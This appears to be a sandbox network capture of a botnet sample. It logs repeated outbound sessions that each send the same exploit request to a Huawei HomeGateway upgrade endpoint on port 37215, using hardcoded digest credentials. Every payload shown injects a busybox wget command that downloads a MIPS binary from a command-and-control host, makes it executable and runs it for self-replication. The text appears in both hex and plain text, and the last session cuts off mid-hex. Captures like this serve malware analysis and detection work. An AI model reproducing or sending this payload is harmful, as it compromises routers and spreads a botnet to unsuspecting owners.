Nov 3, 2024 15:37:09.472949982 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	41192	156.87.37.60	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472965002 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	51398	41.183.156.167	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.472986937 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	45366	197.252.165.31	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473011017 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	35842	156.83.90.144	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473062038 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	50710	197.251.254.108	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473084927 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	59920	156.93.27.183	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473105907 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	40798	41.18.15.227	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473123074 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	45568	197.187.1.98	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473140955 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	52618	197.81.39.24	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473160028 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	57658	156.29.35.98	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.473176956 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 